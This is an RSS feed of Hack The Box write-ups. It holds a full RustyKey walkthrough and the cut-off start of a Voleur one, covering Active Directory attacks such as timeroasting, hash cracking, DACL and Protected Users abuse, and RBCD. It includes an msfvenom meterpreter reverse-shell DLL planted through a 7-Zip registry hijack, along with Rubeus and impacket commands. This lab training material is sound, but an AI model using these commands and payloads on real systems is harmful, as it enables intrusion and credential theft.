<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shiva Maharjan on Medium]]></title>
        <description><![CDATA[Stories by Shiva Maharjan on Medium]]></description>
        <link>https://medium.com/@shivamaharjan?source=rss-e5c2e89f25d9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*xzQrt3p_M5Sdbemd</url>
            <title>Stories by Shiva Maharjan on Medium</title>
            <link>https://medium.com/@shivamaharjan?source=rss-e5c2e89f25d9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 08:19:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shivamaharjan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RustyKey — HTB Machine]]></title>
            <link>https://shivamaharjan.medium.com/rustykey-htb-machine-5f0cbc25ccb8?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f0cbc25ccb8</guid>
            <category><![CDATA[rbcd]]></category>
            <category><![CDATA[timeroast]]></category>
            <category><![CDATA[sntp]]></category>
            <category><![CDATA[protected-users]]></category>
            <category><![CDATA[dacl]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Sat, 08 Nov 2025 10:03:34 GMT</pubDate>
            <atom:updated>2025-11-08T16:39:14.397Z</atom:updated>
            <content:encoded><![CDATA[<h3>RustyKey — HTB Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kVwcFNatOy-b6irOrUwprA.png" /></figure><h4>About Rusty</h4><p>RustyKey is a hard difficulty Windows Machine which showcases a Timeroasting Attack, Active Directory ACL abuse following Windows Group Policy Enumeration to abuse the 7-Zip Shell Extension. For Privilege escalation, Active Directory Delegations are abused using a SPN-less Resource-Based Constrained Delegation attack.</p><pre>Machine Information<br><br>As is common in real life Windows pentests, you will start the RustyKey box with credentials for the following account: rr.parker / 8#t5HE8L!W3A</pre><h4><strong>NMAP</strong></h4><pre>Nmap scan report for rustykey.htb (10.10.11.75)<br>Host is up, received conn-refused (0.17s latency).<br>Scanned at 2025-11-06 09:36:04 +0545 for 98s<br>Not shown: 65509 closed tcp ports (conn-refused)<br>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-06 03:51:29Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49664/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49667/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49671/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49675/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49676/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49677/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49680/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49696/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49730/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 51928/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 2 (port 38109/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 3 (port 63867/udp): CLEAN (Timeout)<br>|   Check 4 (port 63414/udp): CLEAN (Failed to receive data)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>|_clock-skew: 0s<br>| smb2-time: <br>|   date: 2025-11-06T03:52:30<br>|_  start_date: N/A<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 09:37<br>Completed NSE at 09:37, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 09:37<br>Completed NSE at 09:37, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 09:37<br>Completed NSE at 09:37, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 98.03 seconds</pre><p>Since, credentials are given let’s try to find out what we can enumerate.</p><pre>netexec ldap dc.rustykey.htb -u &#39;rr.parker&#39; -p &#39;8#t5HE8L!W3A&#39;<br>netexec ldap dc.rustykey.htb -u &#39;rr.parker&#39; -p &#39;8#t5HE8L!W3A&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vy3t7NCK8KaTkwLMIAcrGg.png" /></figure><p>As, we can see above that the machine doesn’t allow NTLM authentication but only Kerberos authentication.</p><h4>BloodHound</h4><p>Let’s start with bloodhound to enumerate what our user can do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*ZfDjsJM_OTX09l6SwaAHJg.png" /></figure><p>The data shows that <strong>RR.PARKER</strong> is a low privileged user only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*aVr0nxkb9Dzhc4CIbTqHVw.png" /></figure><h4>TimeRoast</h4><p>Since, the machine has only Kerberos authentication enabled, ASREPRoast and Kerberoasting didn’t work. In comes a new attacking technique. <strong>TimeRoasting</strong></p><p><a href="https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/TimeRoasting.html">HackTricks</a></p><p>Netexec has recently updated its timeroast functionality:</p><p><a href="https://www.netexec.wiki/news/v1.4.0-smoothoperator#timeroasting-the-domain">v1.4.0 - SmoothOperator | NetExec</a></p><p>We can read about the attack in the link below:</p><p><a href="https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac">Targeted Timeroasting: Stealing User Hashes With NTP</a></p><pre>netexec smb dc.rustykey.htb -u &#39;rr.parker&#39; -p &#39;8#t5HE8L!W3A&#39; -k -M timeroast</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXaCKYbB2SQkzbq7feOL0A.png" /></figure><p>Once we get the hash we need to remove the appended id i.e. at the front of the hash and then store the hash into a file for cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NM9H-Q6rGhTvz7IxhtPwDA.png" /></figure><pre>hashcat -m 31300 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F81I7sASg4CEeW9Fze1VzQ.png" /></figure><p>Cracked one of the passwords:</p><pre>Rusty88!</pre><p>Since, we got the user-id i.e. 1125, we need Domain SID to determine the user name.</p><pre>netexec ldap dc.rustykey.htb -u &#39;rr.parker&#39; -p &#39;8#t5HE8L!W3A&#39; -k --get-sid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GkccrVvapWfU6xP7TW6-OQ.png" /></figure><p>Since we got the Domain ID: <strong>S-1–5–21–3316070415–896458127–4139322052</strong> and the UserID is <strong>1125</strong>, let’s use powerview to get the username.</p><pre>powerview &#39;rustykey.htb/rr.parker&#39;:&#39;8#t5HE8L!W3A&#39;@dc.rustykey.htb -k<br>PV &gt; ConvertFrom-SID -ObjectSID &quot;S-1-5-21-3316070415-896458127-4139322052-1125&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*RqFB2dV0V3NOpmoHF_lkvA.png" /></figure><p>Let’s try to check if it’s valid with netexec.</p><pre>netexec ldap dc.rustykey.htb -u &#39;IT-Computer3$&#39; -p &#39;Rusty88!&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*SQ3x0IaX5lT0akJgVKofXQ.png" /></figure><p><strong>Exploiting DACL</strong></p><p>Let’s check the bloodhound again for our new user <strong>IT-COMPUTER3</strong>. Upon inspection, we can see that it can <strong>AddSelf</strong> to <strong>HELPDESK</strong> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*5frTbwnJeab3Fk2ZiTTuXg.png" /></figure><p>Also, we can see that <strong>HELPDESK</strong> can change password of many users as well as <strong>AddMember</strong> to <strong>PROTECTED OBJECTS</strong> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*BnRMu7dERHsVEPjqXc_z3w.png" /></figure><p>So, let’s add <strong>IT-Computer3</strong> to the <strong>HELPDESK</strong> group.</p><pre>powerview &#39;rustykey.htb/IT-Computer3$&#39;:&#39;Rusty88!&#39;@dc.rustykey.htb -k<br>PV &gt; Add-DomainGroupMember -Identity &quot;HELPDESK&quot; -Members &quot;IT-Computer3$&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gR3725t8UZfQ96LiWm42YA.png" /></figure><p>On further inspection, we can see except for <strong>DD.ALI</strong>, everybody is in <strong>REMOTE MANAGEMENT USERS </strong>group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rtHd02s6YVSBGKTriARHYw.png" /></figure><p>But further enumeration shows that <strong>IT</strong> and <strong>SUPPORT</strong> groups are on <strong>PROTECTED OBJECTS</strong> group which is on <strong>PROTECTED USERS</strong> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*9-FW6IVXKuTbCXcpzB94ew.png" /></figure><blockquote><strong>Overview of Protected Users in Windows</strong></blockquote><blockquote>The Protected Users group is a security feature in Active Directory, introduced with Windows Server 2012 R2. It enhances the security of privileged accounts by applying strict policies to mitigate credential theft attacks.</blockquote><blockquote><strong>Key Features</strong></blockquote><blockquote>The key features of the system include specific security measures designed to enhance authentication protocols and protect user credentials. Members are required to utilize the <strong>Advanced Encryption Standard (AES)</strong> exclusively for <strong>Kerberos authentication</strong>, which strengthens security. Additionally, <strong>NTLM authentication</strong> is disabled for all members, significantly reducing the risk of credential theft. To further enhance security, <strong>Kerberos Ticket Granting Tickets (TGTs)</strong> are limited to a <strong>4-hour lifetime</strong> and cannot be renewed, ensuring tickets are not used beyond a short time frame. Furthermore, <strong>cached credentials</strong> are not stored on local machines, effectively preventing potential retrieval by attackers. Finally, members face <strong>interactive logon restrictions</strong>, as they are prohibited from logging onto systems that do not comply with the security policies established by the group.</blockquote><blockquote><strong>1. Device and Domain Controller Protections</strong></blockquote><blockquote>When a member of the Protected Users group logs in, the following protections are applied:</blockquote><blockquote><strong>a. Device Protections:</strong></blockquote><blockquote>i. No caching of plaintext credentials (NTLM, CredSSP, Windows Digest).</blockquote><blockquote>ii. No cached verifier is created, preventing offline sign-in.</blockquote><blockquote><strong>b. Domain Controller Protections:</strong></blockquote><blockquote>i. Members cannot authenticate using NTLM.</blockquote><blockquote>ii. Cannot renew Kerberos TGTs beyond the initial four-hour limit.</blockquote><blockquote><strong>2. Membership Considerations</strong></blockquote><blockquote>a. Only user accounts should be added to the Protected Users group; service accounts and computers should not be included.</blockquote><blockquote>b. Adding highly privileged accounts (like Domain Admins) requires careful consideration to avoid potential lockouts.</blockquote><blockquote><em>Utilizing the Protected Users group significantly enhances security for high-value accounts, making them less susceptible to various attacks.</em></blockquote><p>As we can see above that users in this group can’t access with hash but since we can force password change, we don’t need that. We can just login using password.</p><pre>$ powerview &#39;rustykey.htb/IT-Computer3$&#39;:&#39;Rusty88!&#39;@dc.rustykey.htb -k<br>$ impacket-getTGT &#39;rustykey.htb/ee.reed:P@$$w0rd&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kpHc9Q5PIAGeA_sOfivYug.png" /></figure><p>But, when we try to get the TGT, we got <strong>KDC_ERR_ETYPE_NOSUPP</strong> stating that <strong>KDC has no support for encryption type</strong> which is odd.</p><p>Let’s check the supported encryption types that the DC suppports:</p><pre>PV ❯ Get-DomainObject -Identity &quot;DC&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z3wRIkJcP1RoQEdbZY8FYw.png" /></figure><p>Upon inspection, it says <strong>RC4-HMAC</strong> only. But since the users are on <strong>Protected Users</strong> group we can’t login using <strong>HMAC</strong>. So, this deems that the users can’t login to the system.</p><h3># Remove user on Protected Users Group</h3><p>As we have seen in the bloodhound results that HELPDESK group can AddMember to the PROTECTED OBJECTS group. Does that only applies to adding new members? Or, we can just remove/modify them as well?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*9jVu-l4ypkdFwi0e_NXsAA.png" /></figure><p>So, let’s enumerate if we can alter the group:</p><pre>PV ❯ Get-DomainObjectAcl -Identity &quot;PROTECTED OBJECTS&quot; -SecurityIdentifier &quot;HELPDESK&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*c54pS1KTjY7IEh4g4vFcLQ.png" /></figure><p>We can see that WriteProperty is defined in AccessMask and Member is defined in ObjectAceType. This means that we can not only add users but also delete them.</p><p>Since, all our users are in either <strong>IT</strong> or <strong>SUPPORT</strong> group, we can just remove the groups then we are out of <strong>blacklist</strong>.</p><pre>PV ❯ Get-DomainGroupMember -Identity &quot;PROTECTED OBJECTS&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*8pPQyVk2NV1JaD5gGK61eg.png" /></figure><pre>PV &gt; Remove-DomainGroupMember -Identity &quot;Protected Objects&quot; -Members IT<br>PV &gt; Remove-DomainGroupMember -Identity &quot;Protected Objects&quot; -Members Support</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Uo9FVNxaaNKfPy02h0RrlQ.png" /></figure><pre>PV &gt; Set-DomainUserPassword -Identity &quot;BB.MORGAN&quot; -AccountPassword P@$$w0rd<br>PV &gt; Set-DomainUserPassword -Identity &quot;ee.reed&quot; -AccountPassword P@$$w0rd  <br>PV &gt; Set-DomainUserPassword -Identity &quot;dd.ali&quot; -AccountPassword P@$$w0rd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xy1BacwbpjPOXVZ1wL58PA.png" /></figure><p>Since, all the users have been set free, let’s try to login using WINRM.</p><pre>$ python3 evil_winrmexec.py rustykey.htb/BB.MORGAN:&#39;P@$$w0rd&#39;@dc.rustykey.htb -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*iZhqEsuLDhwEijgXEqE_2g.png" /></figure><h4>PDF</h4><p>We found a PDF inside with some information from the user to support-team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*fptq-dhsQG2V73BCz1tHzg.png" /></figure><p>We can see that there has been a rollout of new <strong>file archiving feature</strong> that will help tickets related to <strong>extraction/compression</strong> but it also has some problem in <strong>context menu actions</strong>, so some <strong>registry-level adjustments</strong> would be required. Also, <strong>extended access has been granted to allow testing and troubleshoot</strong> the new feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*8MjYdV3p07inh5WL1Xg-DA.png" /></figure><p>From the note above we can see that there has been <strong>some issues in extraction/compression as new systems handle context menu actions differently</strong>. Hence, <strong>registry-level adjustments</strong> might be going on.</p><p>Let’s check what software might be installed for the archiving.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*yeT3B61od9mI71u_W6ENdQ.png" /></figure><p>Since, context menu means the options shown when a user click right-click, let’s check any issues or registry related with such:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XklSE9S27bvRnyNrXI3t3g.png" /></figure><p><a href="https://superuser.com/questions/290501/where-are-context-menu-actions-registered-in-the-registry">Where are context menu actions registered in the registry?</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*UdIwku-SR6E_iHkdbgi5Og.png" /></figure><p>We can see 4 registry being listed as context menu actions registered in registry.</p><p>Let’s enumerate these:</p><pre>PS&gt; reg query &quot;HKCU\Software\Classes\*\ShellEx\ContextMenuHandlers&quot;<br>PS&gt; reg query &quot;HKCU\Software\Classes\Directory\ShellEx\ContextMenuHandlers&quot;<br>PS&gt; reg query &quot;HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers&quot;<br>PS&gt; reg query &quot;HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOwxocJJQ_LzY_MGknohSw.png" /></figure><p>The result showed a CLSID under HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip: <strong>{23170F69–40C1–278A-1000–000100020000}</strong></p><p>So searching for: <strong>HKLM ContextMenuHandlers registry 23170F69–40C1–278A-1000–000100020000</strong> got me:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAAnEasguTEabPMBfpkfhQ.png" /></figure><p>And since, the pdf was describing about problem in menus not working:</p><p><a href="https://sourceforge.net/p/sevenzip/discussion/45797/thread/96c9a5fe/#cc18/b4fc/a998/6fa1/390a/cda9/b453/a412/933c/1a12">Shell integration menus not working</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*SCiMoH0xu_QEngTJja92Rw.png" /></figure><p>Let’s check if we can do anything in those registry key:</p><pre>PS&gt; reg query &quot;HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}&quot;<br>PS&gt; reg query &quot;HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnPC2K-RU71VqbkGLJWdfg.png" /></figure><p>Since, registry level adjustment is given for troubleshooting, lets enumerate these registry values and see if we could do anything.</p><pre>get-acl &quot;registry::HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}&quot; | format-list<br>get-acl &quot;registry::HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot;  | format-list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GACdQemAIHFn-iPKtpxmWA.png" /></figure><p>We can see that the users in support group can have FullControl over the registry entry. Let’s enumerate the group <strong>Support.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*KawHeu3IJu6At6RhOo6Mug.png" /></figure><p>As seen in the bloodhound, <strong>ee.reed</strong> is in <strong>Support</strong> group.</p><p>So, for further exploitation, we can edit the registry and then see if we get some more privileges.</p><p>To do so, we can change the password of ee.reed and then edit the registry so that whenever the registry is triggered, we get reverse shell.</p><pre>PV &gt; Set-DomainUserPassword -Identity &quot;EE.REED&quot; -AccountPassword &quot;P@$$w0rd&quot; <br>PV &gt; Remove-DomainGroupMember -Identity &quot;Protected Objects&quot; -Members Support</pre><p>Since, the path is dll, we can generate a meterpreter dll and then replace the dll.</p><p><a href="https://www.hackingarticles.in/msfvenom-cheatsheet-windows-exploitation/">Msfvenom Cheatsheet: Windows Exploitation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*Wb-xSWuOxkxEMVh6k0LorQ.png" /></figure><pre>$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.93 LPORT=9001 -f dll -o reverse.dll<br>$ msfconsole -q -x &quot;use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.93; set LPORT 9001; exploit&quot;</pre><p>Let’s modify the registry and then wait for the reverse shell.</p><pre>PS &gt; .\RunasCs.exe EE.REED &quot;P@$$w0rd&quot; &#39;reg add &quot;HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; /ve /d &quot;C:\reverse\reverse.dll&quot; /f&#39; -l 2<br>PS &gt; reg query &#39;HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1aOIBTnxc53z8BueXORMXw.png" /></figure><p>After sometime we got shell as <strong>mm.turner</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*RbRz67uHoTXa-1N_5N6wFA.png" /></figure><p>Upon reviewing the bloodhound, we can see that <strong>mm.turner</strong> is member of <strong>DELEGATIONMANAGER</strong> that has <strong>AddAllowedToAct</strong> permission on <strong>DC.RUSTYKEY.HTB</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*qRKICR6vfx79c_YLw7z5Pg.png" /></figure><p>Let’s see what does <strong>DELEGATIONMANAGER</strong> does in the DC.</p><pre>PV &gt; Get-DomainObjectAcl -Identity &quot;DC$&quot; -SecurityIdentifier &quot;DELEGATIONMANAGER&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*dlWdvXasfbAQ3p86XoaJng.png" /></figure><p>We can see that we have <strong>WriteProperty</strong> on <strong>DC.RUSTYKEY.HTB</strong> and since RBCD attacks require obtaining the computer under the ms-DC-Allowed-To-Act-On-Behalf-Of-Other-Identity, simply writing DC$ won’t work because the password for DC$ is missing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*CS1YdcpunC_6_IEcPBZXOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*zhuf9gg8P6aPHNdvsOoH6g.png" /></figure><p>The UAC for administrator is set to <strong>NOT_DELEGATED </strong>which means we can impersonate via delegation.</p><p>Let’s dig further on administrator:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5SGKclraWoKp_2ewXwz0HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fJ8mcGTXcA-LlzQS2LuxPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*JARbyqnzQqpFGSDkYJglog.png" /></figure><p>We can see that there is another high value target i.e. <strong>backupadmin </strong>has no <strong>NOT_DELEGATE</strong> flag on UAC and who also is a member of <strong>Enterprise Admins</strong> group has a lot of privileges over administrator like <strong>WriteOwner</strong>, <strong>GenericWrite</strong>, <strong>WriteDacl</strong> etc.</p><h4>RBCD</h4><p>Since we already have the machine user and password for <strong>IT-Computer3$</strong>, we can just change them. Then, as usual get ticket for <strong>CIFS</strong> service on DC as <strong>backupadmin</strong>:</p><pre>PS &gt; . .\powerview.ps1<br>PS &gt; Set-ADComputer &#39;DC$&#39; -PrincipalsAllowedToDelegateToAccount &#39;IT-Computer3$&#39;<br>PS &gt; .\Rubeus.exe s4u /user:IT-COMPUTER3$ /rc4:B52B582F02F8C0CD6320CD5EAB36D9C6 /impersonateuser:backupadmin /msdsspn:CIFS/DC.RUSTYKEY.HTB /ptt /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fw5Ji5mb0ghXbs19D19dPQ.png" /></figure><pre>$ echo &#39;&lt;base64&gt;&#39; | base64 -d &gt; backupadmin.kirbi<br>$ impacket-ticketConverter backupadmin.kirbi backupadmin.ccache<br>$ export KRB5CCNAME=backupadmin.ccache<br>$ impacket-wmiexec -k -no-pass rustykey.htb/backupadmin@dc.rustykey.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2wOtYEDpfXe4PqrbdnGew.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f0cbc25ccb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Voleur — HTB Machine]]></title>
            <link>https://shivamaharjan.medium.com/voleur-htb-machine-8a426f671a26?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a426f671a26</guid>
            <category><![CDATA[secretsdump]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[dpapi]]></category>
            <category><![CDATA[restore-user]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Sat, 01 Nov 2025 07:02:11 GMT</pubDate>
            <atom:updated>2025-11-01T16:28:58.565Z</atom:updated>
            <content:encoded><![CDATA[<h3>Voleur — HTB Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*FNKXaNjFeEkrpYYw8DxgXw.png" /></figure><h4>About Voleur</h4><p>Voleur is a medium Windows Hack The Box machine that follows a precise, multi-stage attack path rooted in Active Directory exploitation. The journey begins with network reconnaissance, revealing open ports such as 53 (DNS), 88 (Kerberos), 135 (RPC), 445 (SMB), and a non-standard SSH port 2222. Enumeration via SMB and LDAP exposes user accounts, including <strong>Ryan Naylor</strong>, a low-privilege user. Using <strong>Netexec</strong>, the attacker identifies accessible shares and confirms Ryan’s credentials are valid but limited.</p><p>A shared Excel file is discovered but encrypted; <strong>Office2john</strong> extracts its hash, which <strong>Hashcat</strong> cracks using the <strong>rockyou</strong> wordlist, revealing the password <strong>“Football1”</strong>. Further investigation reveals a note referencing <strong>Todd Wolfe</strong>, whose account appears deleted. However, <strong>BloodHound</strong> analysis shows that the <strong>SVC_LDAP </strong>has <strong>WriteSPN</strong> permissions on <strong>SVC_WinRM</strong>, allowing the attacker to set a new SPN and request a Kerberos ticket for it.</p><p>Using <strong>netexec</strong> or similar, the attacker requests a service ticket for the newly registered SPN, then extracts and cracks the <strong>SVC_WinRM</strong> hash — again with Hashcat — recovering its password. Logging in via <strong>WinRM</strong> as <strong>SVC_WinRM</strong> grants initial access but a dead end.</p><p>Now the deleted user is restored but has no direct access on the system but using <strong>runas</strong> from the <strong>svc_winrm</strong> gets shell as <strong>todd.wolfe</strong>. With greater privileges, the attacker explores the file system again and locates a <strong>Archived Data</strong>. Within the backup, <strong>DPAPI-protected master keys</strong> and encrypted credential blobs are found. Using tools like <strong>dpapi2john</strong> or Mimikatz (via WSL context), the <strong>Hex key</strong> is recovered, enabling decryption of stored secrets.</p><p>This reveals credentials for <strong>Jeremy Combs</strong>, a third-line support account with access to additional shares and and locates a <strong>Windows backup</strong> containing <strong>WSL</strong> artifacts for <strong>svc_backup</strong>. Then logging in as <strong>svc_backup</strong> and enumerating further leads to the discovery of <strong>NTDS.dit</strong>, <strong>SYSTEM</strong>, and <strong>SECURITY</strong> registry hives — likely extracted via a prior backup or Volume Shadow Copy. Using <strong>secretsdump.py</strong>, the attacker dumps the domain hashes and recovers the <strong>Administrator NTLM hash</strong>.</p><p>Finally, leveraging this hash with <strong>WinRM</strong> (or <strong>evil-winrm</strong>) grants full administrative access to the domain controller, completing the compromise. The entire path — from initial low-privilege user to domain admin — follows a strict, interdependent sequence of enumeration, credential cracking, Kerberos abuse, DPAPI decryption, and DC shadow.</p><h4><strong>Enumeration</strong></h4><pre>Machine Information<br>As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt</pre><pre>PORT      STATE SERVICE       REASON          VERSION<br>53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus<br>88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-10-31 19:58:12Z)<br>135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack ttl 127<br>464/tcp   open  kpasswd5?     syn-ack ttl 127<br>593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack ttl 127<br>2222/tcp  open  ssh           syn-ack ttl 127 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)<br>| ssh-rsa 